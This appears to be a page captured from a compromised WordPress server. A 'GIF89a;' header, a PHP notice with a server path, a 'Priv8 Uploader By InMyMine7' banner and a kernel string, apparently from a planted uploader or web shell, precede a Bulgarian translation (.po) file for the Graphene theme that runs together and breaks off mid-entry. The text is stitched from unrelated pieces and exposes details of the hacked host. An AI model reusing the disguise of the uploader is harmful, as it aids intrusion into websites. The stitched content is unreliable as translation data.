GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3
Priv8 Uploader By InMyMine7
Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
msgid "" msgstr "" "Project-Id-Version: Graphene 1.5.5 theme for WordPress\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2011-10-26 11:45+1200\n" "PO-Revision-Date: 2011-12-15 20:57+1200\n" "Last-Translator: Syahir Hakim <syahir@khairul-syahir.com>\n" "Language-Team: <nboukliev@gmail.com>\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Poedit-KeywordsList: __;_e;_n:1,2;esc_attr_e;esc_attr__\n" "X-Poedit-Basepath: D:\\MyVault\\MyProjects\\Websites\\theme-graphene\\site\\wp-content\\themes\\graphene\\\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Poedit-SourceCharset: utf-8\n" "X-Poedit-Language: Bulgarian\n" "X-Poedit-Country: BULGARIA\n" "X-Poedit-SearchPath-0: .\n" #: 404.php:20 #, php-format msgid "Searching for: <span>%s</span>" msgstr "Търсене: <span>%s</span>" #: 404.php:26 msgid "Error 404 - Page Not Found" msgstr "Грешка 404 - Страницата не е намерена" #: 404.php:28 msgid "Sorry, I've looked everywhere but I can't find the page you're looking for." msgstr "Съжалявам! Търсих навсякъде но не намериха страницата, която търсите." #: 404.php:29 msgid "If you follow the link from another website, I may have removed or renamed the page some time ago. You may want to try searching for the page:" msgstr "Ако сте попаднали на този сайт от друг сайт, е възможно страницата да е преименувана. Може би искате да опитате да потърсите страницата:" #: 404.php:37 msgid "Automated search" msgstr "Автоматично търсене" #: 404.php:40 #, php-format msgid "Searching for the terms <strong>%s</strong> ..." msgstr "Търсене по тема <strong>%s</strong> ..." #: archive.php:24 #, php-format msgid "Daily Archive: %s" msgstr "Дневен архив: <span>%s</span>" #: archive.php:26 #, php-format msgid "Monthly Archive: %s" msgstr "Месечен архив: <span>%s</span>" #. translators: F will be replaced with month, and Y will be replaced with year, so "F Y" in English would be replaced with something like "June 2008". #: archive.php:28 msgid "F Y" msgstr "F Y" #: archive.php:30 #, php-format msgid "Yearly Archive: %s" msgstr "Годишен архив: <span>%s</span>" #: archive.php:40 #, php-format msgid "%1$s Archive: <span>%2$s</span>" msgstr "%1$s Archive: <span>%2$s</span>" #: archive.php:43 msgid "Blog Archive" msgstr "Архив на сайта" #: author.php:32 msgid "Author's posts listings" msgstr "Списък на публикациите на автора" #: category.php:13 #, php-format msgid "Category Archive: <span>%s</span>" msgstr "Архив по категория: <span>%s" #: comments.php:25 msgid "This post is password protected. Enter the password to view any comments." msgstr "Тази публикация е защитена с парола. Въведете парола за да видите коментарите" #: comments.php:51 #: loop-author.php:85 #: loop.php:180 #, php-format msgid "1 comment" msgid_plural "%d comments" msgstr[0] "1 коментар" msgstr[1] "%d коментара" #: comments.php:53 #, php-format msgid "1 ping" msgid_plural "%d pings" msgstr[0] "1 споменаване" msgstr[1] "%d споменавания" #: comments.php:111 msgid "Comments have been disabled." msgstr "Коментарите са забранени" #: comments.php:126 #, php-format msgid "You may use these <abbr title=\"HyperText Markup Language\">HTML</abbr> tags and attributes: %s" msgstr "\"Може да използвате тези <abbr title=\"HyperText Markup Language\">HTML</abbr> тагове и атрибути: %s" #: comments.php:131 msgid "Your email address will not be published." msgstr "Вашият email адрес няма да бъде публикуван!" #: comments.php:134 msgid "Submit Comment" msgstr "Добави коментар" #: footer.php:40 msgid "Copyright" msgstr "Авторски права" #. translators: %s will replaced by a link to the Creative Commons licence page, with "Creative Commons Licence" as the link text. #: footer.php:55 #, php-format msgid "Except where otherwise noted, content on this site is licensed under a %s." msgstr "Съдържанието на този сайт е лицензирано спрямо %s, освен ако не е отбелязано друго." #: footer.php:55 msgid "Creative Commons Licence" msgstr "Creative Commons Licence" #: footer.php:57 msgid "Creative Commons Licence BY-NC-ND" msgstr "Creative Commons Licence BY-NC-ND" #: footer.php:78 msgid "Return to top" msgstr "Връщане към началото" #. translators: %1$s is the link to WordPress.org, %2$s is the theme's name #: footer.php:87 #, php-format msgid "Powered by %1$s and the %2$s." msgstr "Благодарение на %1$s и %2$s." #: footer.php:87 msgid "Graphene Theme" msgstr "Тема Graphene" #: header.php:49 #, php-format msgid "Subscribe to %s's RSS feed" msgstr "Абонирайте се за %s's RSS канал" #: header.php:49 msgid "Subscribe to RSS feed" msgstr "Абонирайте се за RSS канал" #: header.php:95 #: header.php:115 msgid "Go back to the front page" msgstr "Върнете се към началната страница" #: loop-author.php:23 msgid "Author's details" msgstr "Детайли за автора" #. translators: %1$s is the first name, %2$s is the last name #: loop-author.php:25 #, php-format msgid "<strong>Name:</strong> %1$s %2$s" msgstr "<strong>Име:</strong> %1$s %2$s" #: loop-author.php:26 #, php-format msgid "<strong>Date registered:</strong> %1$s" msgstr "<strong>Дата на регистрация:</strong> %1$s" #: loop-author.php:35 msgid "Biography" msgstr "Биография" #: loop-author.php:52 msgid "Latest posts" msgstr "Последни публикации" #: loop-author.php:55 #: loop-author.php:85 #, php-format msgid "Permalink Link to %s" msgstr "Постоянен линк към %s" #: loop-author.php:55 #: loop-author.php:85 #: loop-children.php:45 #: loop-page.php:8 #: loop-page.php:20 #: loop-post-formats.php:32 #: loop-single.php:65 #: loop.php:31 #: loop.php:62 msgid "(No title)" msgstr "(Няма заглавие)" #: loop-author.php:92 msgid "Most commented posts" msgstr "Най-коментирана публикация" #: loop-children.php:45 #: loop-children.php:53 #: loop-page.php:19 #: loop-post-formats.php:32 #: loop-single.php:64 #: loop.php:61 #: loop.php:148 #, php-format msgid "Permalink to %s" msgstr "Постоянен линк към %s" #: loop-children.php:53 msgid "View page »" msgstr "Разгледайте страницата »" #: loop-not-found.php:2 msgid "Not found" msgstr "Не е намерено" #: loop-not-found.php:7 msgid "Sorry, but you are looking for something that isn't here. Wanna try a search?" msgstr "Съжелявам, но търсите нещо, което не е тук. Искате ли да опитате да го намерите?" #: loop-not-found.php:9 msgid "Sorry, but no results were found for that keyword. Wanna try an alternative keyword search?" msgstr "Съжалявам, но не е намерен резултата за тази ключова дума. Искате ли да опитате търсене по друга ключова дума?" #: loop-page.php:34 #: loop-page.php:35 #: loop-single.php:87 #: loop-single.php:88 #: loop.php:86 #: loop.php:87 #, php-format msgid "Print this %s" msgstr "Разпечатай това %s" #: loop-page.php:47 #: loop-single.php:100 #: loop.php:99 #, php-format msgid "Edit %s" msgstr "Edit %s" #: loop-page.php:64 #: loop-single.php:141 #: loop.php:162 msgid "Pages:" msgstr "Pages:" #: loop-page.php:88 #: loop-post-formats.php:93 #: loop-single.php:189 #: loop.php:193 msgid "Permanent link to this article:" msgstr "Постоянен линк към тази тема:" #: loop-post-formats.php:15 msgid "Status update" msgstr "Обновяване на статуса" #: loop-post-formats.php:16 msgid "Audio" msgstr "Аудио" #: loop-post-formats.php:17 msgid "Image" msgstr "Картинка" #: loop-post-formats.php:18 msgid "Video" msgstr "Видео" #: loop-post-formats.php:19 msgid "Post format" msgstr "Формат на публикацията" #. translators: This is the PHP date formatting string for the status post format. See http://php.net/manual/en/function.date.php for more details. #: loop-post-formats.php:28 msgid "l F j, Y" msgstr "l F j, Y" #: loop-post-formats.php:28 msgid "g:i A" msgstr "g:i A" #: loop-post-formats.php:38 msgid "Edit post" msgstr "Редактирай публикацията" #. translators: This is the PHP date formatting string for the image post format. See http://php.net/manual/en/function.date.php for more details. #: loop-post-formats.php:81 #, php-format msgid "Posted on: %s" msgstr "Публикувано на: %s" #: loop-post-formats.php:81 msgid "F j, Y" msgstr "F j, Y" #: loop-single.php:75 #: loop.php:74 msgid "Categories:" msgstr "Категории:" #: loop-single.php:117 #: loop.php:116 #, php-format msgid "by %s" msgstr "от %s" #: loop-single.php:151 #: loop.php:172 msgid "Tags:" msgstr "Етикети:" #: loop-single.php:151 #: loop.php:172 msgid "This post has no tag" msgstr "Тази публикация няма етикет" #: loop-single.php:172 msgid "About the author" msgstr "За автора" #: loop.php:141 msgid "Read the rest of this entry »" msgstr "Прочетете остатъка от публикацията »" #: loop.php:180 msgid "Leave comment" msgstr "Добави коментар" #: loop.php:180 msgid "Comments off" msgstr "Коментарите за изключени" #: search-404.php:14 msgid "Suggested results" msgstr "Предложени резултати" #. translators: %s is the search term #: search-404.php:18 #, php-format msgid "I've done a courtesy search for the term %s for you. See if you can find what you're looking for in the list below:" msgstr "Направих търсене за %s. Проверете дали ще намерите това, което търсите по-долу:" #: search-404.php:35 msgid "<strong>Sorry, couldn't find anything.</strong> Try searching for alternative terms using the search form above." msgstr "<strong>Съжелявам, търсенето не върна резултат.</strong> Опитайте ново търсене, ползвайки формата горе." #: search.php:10 #, php-format msgid "Search results for: %s" msgstr "Резултати от търсенето за: %s" #: searchform.php:3 #: searchform.php:4 msgid "Search" msgstr "Търсене" #: sidebar-two.php:35 #: sidebar.php:41 msgid "Meta" msgstr "Meta" #: sidebar-two.php:40 #: sidebar.php:46 msgid "Posts RSS" msgstr "RSS на публикациите" #: sidebar-two.php:41 #: sidebar.php:47 msgid "Comments RSS" msgstr "RSS на коментарите" #. translators: %s is the link to wordpress.org #: sidebar-two.php:43 #: sidebar.php:49 #, php-format msgid "Powered by %s" msgstr "Благодарение на %s" #: sidebar-two.php:43 #: sidebar.php:49 msgid "Powered by WordPress, state-of-the-art semantic personal publishing platform." msgstr "Благодарение на WordPress, state-of-the-art semantic personal publishing platform." #: sidebar-two.php:48 #: sidebar.php:34 msgid "Archives" msgstr "Архиви" #: tag.php:13 #, php-format msgid "Tag Archive: <span>%s</span>" msgstr "Архив по етикети: <span>%s</span>" #: admin/custom-fields.php:14 msgid "Graphene post-specific options" msgstr "Специфични за публикациите настройки на Graphene" #: admin/custom-fields.php:15 msgid "Graphene page-specific options" msgstr "Специфични за страниците настройки на Graphene" #: admin/custom-fields.php:97 msgid "These settings will only be applied to this particular post or page you're editing. They will override the global settings set in the Graphene Options or Graphene Display options page." msgstr "Тези настройки ще важат само да конкретната публикация или страница, която редактирате. Те ще припокрията глобалните настройки зададени в Найстройки на Graphene или Настройките на екрана на Graphene" #: admin/custom-fields.php:98 msgid "Slider options" msgstr "Настройке на слайдера" #: admin/custom-fields.php:102 msgid "Slider image" msgstr "Картинка на слайдера" #: admin/custom-fields.php:106 #: admin/custom-fields.php:132 #: admin/custom-fields.php:146 msgid "Use global setting" msgstr "Изполвай глобалните настройки" #: admin/custom-fields.php:107 msgid "Don't show image" msgstr "Не показвай картинка" #: admin/custom-fields.php:108 msgid "Featured Image" msgstr "Главната картинка" #: admin/custom-fields.php:109 msgid "First image in post" msgstr "Първата картинка в публикацията" #: admin/custom-fields.php:110 msgid "Custom URL" msgstr "Специфичен URL адрес" #: admin/custom-fields.php:116 msgid "Custom slider image URL" msgstr "URL адрес на специфичната картинка за слайдера" #: admin/custom-fields.php:120 msgid "Make sure you select Custom URL in the slider image option above to use this custom url." msgstr "Уверете се, че използвате специфичен URL адрес в настройката за картинка на слайдера за да използвате този URL адрес" #: admin/custom-fields.php:124 msgid "Display options" msgstr "Визуални настройки" #: admin/custom-fields.php:128 msgid "AddThis Social Sharing button" msgstr "бутон AddThis Social Sharting" #: admin/custom-fields.php:133 msgid "Show button" msgstr "Покажете бутона" #: admin/custom-fields.php:134 msgid "Hide button" msgstr "Скрийте бутона" #: admin/custom-fields.php:142 msgid "Post date display" msgstr "Показване на датата на публикацията" #: admin/custom-fields.php:147 msgid "Hide date" msgstr "Скриване на датата" #: admin/custom-fields.php:155 msgid "Navigation options" msgstr "Настройки на навигацията" #: admin/custom-fields.php:159 msgid "Description" msgstr "Описание" #: admin/custom-fields.php:163 msgid "Only required if you need a description in the navigation menu and you are not using a custom menu." msgstr "Необходима е само ако използване описание в менюто за навигация и не използвате специфично меню" #: admin/faq.php:11 msgid "Graphene's Frequently Asked Questions" msgstr "Най-често задаваните въпроси на Graphene" #: admin/faq.php:14 msgid "Where should I go for the theme's support?" msgstr "Къде да потърся помощ за темата?" #: admin/faq.php:15 msgid "Please direct all support requests for the theme at the theme's <a href=\"http://forum.khairul-syahir.com/graphene-wordpress-theme/\">Support Forum</a>." msgstr "Моля насочене всики заявки за помощ за темата към <a href=\"http://forum.khairul-syahir.com/graphene-wordpress-theme/\">Форума за помощ</a> на темата." #: admin/faq.php:18 msgid "The post's featured image is replacing my header image. Help!" msgstr "Главната картинка на публикацията замества заглавната ми картинка. Помощ!" #: admin/faq.php:19 msgid "This is actually one of the theme's features, based on the feature in the default TwentyTen theme. Any featured image that has a size of greater than or equal to the theme's header image size (960 x 198 pixels) will replace the header image when the post/page that featured image is assigned to is being displayed. It enables you to have different header image for different posts and/or pages." msgstr "Това всъщност е една от възможностите на темата, базирана на възможност на темата по подразбиране TwentyTen. Всяка главна картинка, която е с размер по-голям или равен на размера на заглавната картинка на темата (960 x 198 pixels) ще замени заглавната картинка, когато публикацията/страницата, към която е прикачена главна картинка бъде показана. Това Ви позволява да имате различна заглавна картинка за различните публикации и/или страници." #: admin/faq.php:20 msgid "If you want to disable this feature, simply tick the <em>Disable Featured Image replacing header image</em> option in the <a href=\"themes.php?page=graphene_options&tab=display\">Graphene Options</a> page, under Display > Header Display Options." msgstr "Ако искате да забраните тази възможност, просто отметнете отметката <em>Забрани главната картинка да замества заглавната</em> в <a href=\"themes.php?page=graphene_options&tab=display\">Настрйки на Graphene</a>, в Екран > Визуални настройки на Заглавната част " #: admin/faq.php:23 msgid "Can I modify Graphene to my heart's content without paying anything?" msgstr "Мога ли да променя Graphene според желанието си без да плащам нищо?" #: admin/faq.php:24 msgid "The Graphene WordPress theme, along with all the other themes in the WordPress.org Official Free Themes Directory, is released under the GNU General Public License (GPL) Version 2. The full text of that licence is included with the theme in the <code>licence.txt</code> file in the theme's folder. Releasing the theme under that licence means, among others, that you are <em>free to modify the theme in any way for any purpose (including commercial)</em> without any obligation to the theme's author. However, if you decide to redistribute the theme, the licence dictates that you must release the theme under the same licence, GPLv2." msgstr "Темата Graphene WordPress, заедно с всички други теми в официалната директория за безплатни теми на WordPress.org, се разпространява под лиценза GNU General Public License (GPL) Version 2. Пълният текст на този лиценз е включен в темата във файлът <code>licence.txt</code> в папката на темата. Разпространяването на темата под този лиценз означава, освен всичко друго, че Ви е<em>позволено да променяте темата по всякакъв начин и за всякаква цел (включително комерсиална)</em> без никакво задължение към автора на темата. Въпреки това, ако решите да разпространявате темата, лиценза диктува, че трябва да я разпространявате под същия лиценз, GPLv2." #: admin/faq.php:25 msgid "But of course, the author would always appreciate <a href=\"themes.php?page=graphene_options\">donations</a> to support ongoing and future developments of the theme." msgstr "Но разбира се, авторът винаги би бил благодарен на <a href=\"themes.php?page=graphene_options\">дарения</a> за да поддържа текущата и бъдеща разработка на темата." #: admin/faq.php:28 msgid "If the theme is released under GPLv2, what is this Creative Commons licence in the theme's footer?" msgstr "След като темата се разпространява по лиценза GPLv2, какъв е този Creative Commons licence в долната част на темата?" #: admin/faq.php:29 msgid "The Creative Commons licence is a popular licence nowadays that are used by a lot of web-based content authors to licence their work such that it protects their intellectual property but in the same time allows its free distribution. It is included with the theme simply to make it easy for the theme's users to make use of the licence for the content they publish. Theme users can remove it altogether via the theme's Options page should they wish not to use it." msgstr "В днешно време Creative Commons licence е популярен лиценз, който се използва от много уеб-базирани автори на съдържание, за да лицензират своята работа така, че тяхното авторско право да бъде защитено, но в същото време да е позволено свободното и разпространение. Той е включен в темата, само за да позволи на потребителите по-лесно да го използват за съдържанието, което публикуват. Потребителите на темата могат да го премахнат от страницата за Настройки на темата, ако не желаят да го използват" #: admin/faq.php:30 msgid "Put simply, <em>it is not the licence that is applied for the theme itself</em>, but just for the website's content should the theme user wants to use it." msgstr "Казано накратко, <em>това не е лиценз, който е приложен към самата тема</em>, а само към съдържанието на сайта, ако потребителя на темата реши да го използва" #: admin/faq.php:33 msgid "Is the theme compatible with this plugin or that plugin?" msgstr "Съвместима ли е тамата с този или онзи plugin?" #: admin/faq.php:34 msgid "I don't know. With so many plugins available for WordPress, there's no way that I (or anybody else for that matter) can test for compatibility for all of them. Having said that, the theme is built with all the necessary WordPress components included with it, so chances are most plugins will be compatible with the theme." msgstr "Не знам. С толкова много plugin-и, налични за WordPress, няма начин аз (или някой друг изобщо) да тества съвместимостта с всеки от тях. Казвайки това, темата е проектирана с всички необходими компоненти на WordPress, така че повечето plugin-и би трябвало да са съвместими с нея. " #: admin/faq.php:35 msgid "My suggestion is to just install the plugin and try it. If you stumble into problem, ask for support from the plugin author first. If the plugin author says that it's a problems with the theme, you know where to find support." msgstr "Моето предложение е просто да инсталирате plugin-а и да пробвате. Ако се натъкнете на проблеми, първо поискайте помощ от автора на plugin-а. Ако авторът каже, че проблемът е с темата, знаете къде да намерите помощ." #: admin/options-advanced.php:12 #: admin/options.php:309 msgid "Preview" msgstr "Преглед" #: admin/options-advanced.php:19 msgid "Enable preview of your site on the Graphene Theme Options page" msgstr "Разрешете преглед на вашия сайт от страницата с Настройки на темата Graphene" #: admin/options-advanced.php:31 msgid "Action Hooks Widget Areas" msgstr "Action Hooks Widget области" #: admin/options-advanced.php:34 msgid "This option enables you to place virtually any content to every nook and cranny in the theme, by attaching widget areas to the theme's action hooks." msgstr "Тази възможност позволява практически да сложите всякакво съдържание на всяко място в темата, като закачите widget области към action hooks на темата" #: admin/options-advanced.php:35 msgid "All action hooks available in the Graphene Theme are listed below. Click on the filename to display all the action hooks available in that file. Then, tick the checkbox next to an action hook to make a widget area available for that action hook." msgstr "Всички налични action hooks в темата Graphene са изброени долу. Натиснете върху името на файла за да се визуализират всички налични във файла action hooks. След това изберете отметката до action hook за да направите областта за widget активна за този action hook." #: admin/options-advanced.php:44 msgid "Click to show/hide the action hooks for this file" msgstr "Натиснете за да покажете/скриете action hooks за този файл" #: admin/options-display.php:13 msgid "Header Display Options" msgstr "Визуални настройки на заглавната част" #: admin/options-display.php:19 msgid "Use light-coloured header bars" msgstr "Използвайте заглавна лента със светли цветове" #: admin/options-display.php:25 msgid "Link header image to front page" msgstr "Свържете заглавната картинка към началната страница" #: admin/options-display.php:28 msgid "Check this if you disable the header texts and want the header image to be linked to the front page." msgstr "Изберете това ако сте забранили текстовете в заглавната част и искате картинката на заглавната част да сочи към началната страница" #: admin/options-display.php:33 msgid "Disable Featured Image replacing header image" msgstr "Забранете замява на заглавната картинка от картинката на страницата" #: admin/options-display.php:36 msgid "Check this to prevent the posts Featured Image replacing the header image regardless of the featured image dimension." msgstr "Изберете това за да предотвратите заменянето на заглавната картинка от специфичната картинка на публикацията, независимо от големината на специфичната картинка" #: admin/options-display.php:41 msgid "Use random header image" msgstr "Използвайте произволна заглавна картинка" #: admin/options-display.php:45 msgid "Check this to show a random header image (random image taken from the available default header images)." msgstr "Изберете това, за да се показва произволна заглавна картинка (произволната картинка ще се вземе от наличните заглавни картинки по подразбиране)" #: admin/options-display.php:46 msgid "<strong>Note:</strong> only works on pages where a specific header image is not defined." msgstr "<strong>Забележка:</strong> работи само за страници, за които не е избрана конкретна заглавна картинка." #: admin/options-display.php:52 msgid "Search box location" msgstr "Място на полето за търсене" #: admin/options-display.php:56 msgid "Top bar" msgstr "Горна лента" #: admin/options-display.php:57 msgid "Navigation bar" msgstr "Лента за навигация" #: admin/options-display.php:58 msgid "Disable search box" msgstr "Забранете полето за търсене" #: admin/options-display.php:71 msgid "Column Options" msgstr "Настройки на колоните" #: admin/options-display.php:77 msgid "Column mode" msgstr "Модел на колоните" #: admin/options-display.php:86 #: admin/options-display.php:131 msgid "One column" msgstr "Една колона" #: admin/options-display.php:93 #: admin/options-display.php:138 msgid "Two columns (with sidebar right)" msgstr "Две колони (със странична лента вдясно)" #: admin/options-display.php:97 #: admin/options-display.php:142 msgid "Two columns (with sidebar left)" msgstr "Две колони (със странична лента вляво)" #: admin/options-display.php:104 #: admin/options-display.php:149 msgid "Three columns (with two sidebars right)" msgstr "Три колони (с две странични ленти вдясно)" #: admin/options-display.php:108 #: admin/options-display.php:153 msgid "Three columns (with two sidebars left)" msgstr "Три колони (с две странични ленти вляво)" #: admin/options-display.php:112 #: admin/options-display.php:157 msgid "Three columns (with sidebars left and right)" msgstr "Три колони (със странични ленти вляво и вдясно)" #: admin/options-display.php:122 msgid "bbPress column mode" msgstr "Модел на колоните bbPress" #: admin/options-display.php:173 msgid "Posts Display Options" msgstr "Визуални настройки на публикациите" #: admin/options-display.php:179 msgid "Hide post author" msgstr "Скрийте автора на публикациите" #: admin/options-display.php:189 msgid "Hidden" msgstr "Скрито" #: admin/options-display.php:190 msgid "As an icon (without the year)" msgstr "Като икона (без годината)" #: admin/options-display.php:191 msgid "As an icon (including the year)" msgstr "Като икона (включително годината)" #: admin/options-display.php:192 msgid "As inline text" msgstr "Като вмъкнат текст" #: admin/options-display.php:194 msgid "Note: displaying date as inline text allows more space for the content area, especially useful for a three-column layout configuration." msgstr "Забележка: визуализирането на датата като вмъкнат текст дава повече място за областта със съдържание, особено полезно при конфигурация с три колони" #: admin/options-display.php:199 msgid "Hide post categories" msgstr "Скрий категориите на публикациите" #: admin/options-display.php:205 msgid "Hide post tags" msgstr "Скрий етикетите на публикациите" #: admin/options-display.php:211 msgid "Hide post comment count" msgstr "Скрий броя но коментари за публикациите" #: admin/options-display.php:212 msgid "Only affects posts listing (such as the front page ) and not single post view." msgstr "Засяга само списъци с публикации (като на началната страница), а не преглед на единични публикации." #: admin/options-display.php:217 msgid "Show post author's gravatar" msgstr "Показва glavatar-а на автора на публикацията" #: admin/options-display.php:221 msgid "Show post author's info" msgstr "Показва информация за автора на публикацията" #: admin/options-display.php:233 msgid "Excerpts Display Options" msgstr "Визуални настройки на извадката (excerpt)" #: admin/options-display.php:239 msgid "Show excerpts in front page" msgstr "Показване на извадки (excerpts) на началната страница" #: admin/options-display.php:245 msgid "Show full content in archive pages" msgstr "Показване на пълното съдържание в архивните страници" #: admin/options-display.php:249 msgid "Note: Archive pages include the archive for category, tags, time, and search results pages. Enabling this option will cause the full content of posts and pages listed in those archives to displayed instead of the excerpt, and truncated by the Read More tag if used." msgstr "Забалежка: Страниците с архиви включват архивните страници с категории, тагове, време и резултати от търсене. Разрешаването на тази възможност ще довете до показване на цялото съдържание на публикациите и страниците включени в тези архиви вместо извадка." #: admin/options-display.php:253 msgid "Show More link for manual excerpts" msgstr "Покажи повече връзки за ръчна извадка" #: admin/options-display.php:257 msgid "Retain these HTML tags in excerpts" msgstr "Запази тези HTML тагове в извадката" #: admin/options-display.php:260 msgid "Enter the HTML tags you'd like to retain in excerpts. For example, enter <code><p><ul><li></code> to retain <code><p></code>, <code><ul></code>, and <code><li></code> HTML tags." msgstr "Въведете HTML таговете, които искате да запазите в извадката. Например въведете <code><p><ul><li></code>, за да запазите <code><p></code>, <code><ul></code>, и <code><li></code> HTML тагове." #: admin/options-display.php:273 msgid "Comments Display Options" msgstr "Визуални настройки на коментарите" #: admin/options-display.php:279 msgid "Hide allowed tags in comment form" msgstr "Скрий разрешените тагове във формата за коментари" #: admin/options-display.php:292 msgid "Colours Options" msgstr "Настройки на цветовете" #: admin/options-display.php:295 msgid "Changing colours for your website involves a lot more than just trial and error. Simply mixing and matching colours without regard to their compatibility may do more damage than good to your site's aesthetics." msgstr "Промяната на цветовете на вашия сайт включва много повече от метода проба-грешка. Простото разместване и настройване на цветовете без да се вземе под внимание тяхната съвместимост, може да донесе повече вреда отколкото полза за естетичния вид на вашия сайт." #: admin/options-display.php:296 #, php-format msgid "It's generally a good idea to stick to colours from colour pallettes that are aesthetically pleasing. Try the %s website for a kickstart on some colour palettes you can use." msgstr "По принцип е добра идея да се придържате към цветове от набори от цветове, които са естетически издържани. Разгледайте сайта %s за начални стъпки относно някои палитри от цветове, които може да използвате." #: admin/options-display.php:297 msgid "When you've got the perfect combination, you can even share it with fellow Graphene theme users through the <a href=\"http://forum.khairul-syahir.com/\">Support Forum</a>." msgstr "Когато постигнете порфектна комбинация от цветове, можете дори да я споделите с останалите потребители на темата Graphene посредством <a href=\"http://forum.khairul-syahir.com/\">Форумът за поддръжка</a>." #: admin/options-display.php:298 msgid "<strong>Note:</strong> The previews work best on modern Gecko- and Webkit-based browsers, such as Mozilla Firefox and Google Chrome." msgstr "<strong>Забележка:</strong> Прегледът работи най-добре на модерни Gecko- и Webkit-базирани браузъри, като Mozilla Firefox и Google Chrome." #: admin/options-display.php:299 msgid "<strong>Note:</strong> To reset any of the colours to their default value, just click on \"Clear\" beside the colour field and save the settings. The theme will automatically revert the value to the default colour." msgstr "<strong>Забележка:</strong> За да върнете някой цвят към неговата първоначална стойност, просто натиснете \"Clear\" до полето със стойност на цвят и запазете настройките. Темата автоматично ще върне стойността на цвета към стойността по подразбиране." #: admin/options-display.php:300 msgid "Content area" msgstr "Област със съдържание" #: admin/options-display.php:304 msgid "Main content wrapper background" msgstr "Фон на основният контейнер със съдържание" #: admin/options-display.php:305 msgid "Post and pages content background" msgstr "Фон на съдържанието на страници и публикации" #: admin/options-display.php:306 msgid "Post meta and footer border" msgstr "Рамка на meta и footer на публикациите" #: admin/options-display.php:307 msgid "Post and pages top border" msgstr "Горна рамка на публикациите и страниците" #: admin/options-display.php:308 msgid "Post and pages bottom border" msgstr "Долна рамка на публикациите и страниците" #: admin/options-display.php:318 #: admin/options-display.php:348 #: admin/options-display.php:374 #: admin/options-display.php:401 #: admin/options-display.php:430 #: admin/options-display.php:566 #: admin/options-display.php:587 msgid "Clear" msgstr "Чисто" #: admin/options-display.php:325 msgid "Widgets" msgstr "Widgets (джаджи)" #: admin/options-display.php:328 msgid "Widget preview" msgstr "Преглед на widget" #: admin/options-display.php:329 msgid "Widget title" msgstr "Заглавие на widget" #: admin/options-display.php:329 msgid "List item" msgstr "Елемент от списък" #: admin/options-display.php:333 msgid "Widget item background" msgstr "Фон на елемента на widget" #: admin/options-display.php:334 msgid "Widget item list border" msgstr "Рамка на елемент от списък в widget" #: admin/options-display.php:335 msgid "Widget header border" msgstr "Горна рамка на widget" #: admin/options-display.php:336 msgid "Widget title colour" msgstr "Цвят на заглавието на widget" #: admin/options-display.php:337 msgid "Widget title text shadow colour" msgstr "Цвят на сянката на текста в заглавието на widget" #: admin/options-display.php:338 msgid "Widget header gradient bottom colour" msgstr "Долния цвят на градидента на заглавната част на widget" #: admin/options-display.php:339 msgid "Widget header gradient top colour" msgstr "Горния цвят на градидента на заглавната част на widget" #: admin/options-display.php:356 msgid "Slider" msgstr "Slider (плъзгач)" #: admin/options-display.php:359 msgid "Slider background preview" msgstr "Преглед на фона на slider" #: admin/options-display.php:364 msgid "Slider top left colour" msgstr "Горния ляв цвят на slider" #: admin/options-display.php:365 msgid "Slider bottom right colour" msgstr "Долния десен цвят на slider" #: admin/options-display.php:382 msgid "Block buttons" msgstr "Бутони" #: admin/options-display.php:385 msgid "Block button preview" msgstr "Преглед на бутона" #: admin/options-display.php:386 msgid "Button label" msgstr "Етикет на бутона" #: admin/options-display.php:390 msgid "Button background colour" msgstr "Цвят на фона на бутона" #: admin/options-display.php:391 msgid "Button label colour" msgstr "Цвят на етикета на бутона" #: admin/options-display.php:392 msgid "Button label text shadow" msgstr "Цвят на сянката на етикета на бутона" #: admin/options-display.php:409 msgid "Archive title" msgstr "Заглавие на архив" #: admin/options-display.php:412 msgid "Archive title preview" msgstr "Преглед на заглавието на архив" #: admin/options-display.php:413 msgid "Archive title:" msgstr "Заглавие на архив:" #: admin/options-display.php:413 msgid "Sample title" msgstr "Примерно заглавие" #: admin/options-display.php:417 msgid "Archive background gradient left colour" msgstr "Ляв цвят на градиента на фона на архива" #: admin/options-display.php:418 msgid "Archive background gradient right colour" msgstr "Десен цвят на градиента на фона на архива" #: admin/options-display.php:419 msgid "Archive label colour" msgstr "Цвят на етикета на архива" #: admin/options-display.php:420 msgid "Archive text colour" msgstr "Цвят на текста на архива" #: admin/options-display.php:421 msgid "Archive label and text shadow colour" msgstr "Цветове на етикета и сянката на текста на архива" #: admin/options-display.php:445 msgid "Text Style Options" msgstr "Настройки на стила на текста" #: admin/options-display.php:448 msgid "Note that these are CSS properties, so any valid CSS values for each particular property can be used." msgstr "Забележете, че това са CSS настройки, така че могат да бъдат използвани всякакви валидни CSS стойности за всяка конкретна настройка" #: admin/options-display.php:449 msgid "Some example CSS properties values:" msgstr "Някои примерни CSS стойности са:" #: admin/options-display.php:452 msgid "Text font:" msgstr "Цвят на текста:" #: admin/options-display.php:456 msgid "Text size and line height:" msgstr "Размер на текста и височина на реда:" #: admin/options-display.php:460 msgid "Text weight:" msgstr "Дебелина на текста:" #: admin/options-display.php:464 msgid "Text style:" msgstr "Стил на текста:" #: admin/options-display.php:468 msgid "Text colour:" msgstr "Цвят на текста:" #: admin/options-display.php:473 msgid "Header Text" msgstr "Заглавен текст" #: admin/options-display.php:477 msgid "Title text font" msgstr "Шрифт на текста на заглавието" #: admin/options-display.php:483 msgid "Title text size" msgstr "Размер на текста на заглавието" #: admin/options-display.php:489 msgid "Title text weight" msgstr "Дебелина на текста на заглавието" #: admin/options-display.php:495 msgid "Title text line height" msgstr "Височина на реда в текста на заглавието" #: admin/options-display.php:501 msgid "Title text style" msgstr "Стил на текста на заглавието" #: admin/options-display.php:510 msgid "Description text font" msgstr "Шрифт на текста на описанието" #: admin/options-display.php:516 msgid "Description text size" msgstr "Размер на текста на описанието" #: admin/options-display.php:522 msgid "Description text weight" msgstr "Дебелина на текста на описанието" #: admin/options-display.php:528 msgid "Description text line height" msgstr "Височина на реда в текста на описанието" #: admin/options-display.php:534 msgid "Description text style" msgstr "Стил на текста на описанието" #: admin/options-display.php:540 msgid "Content Text" msgstr 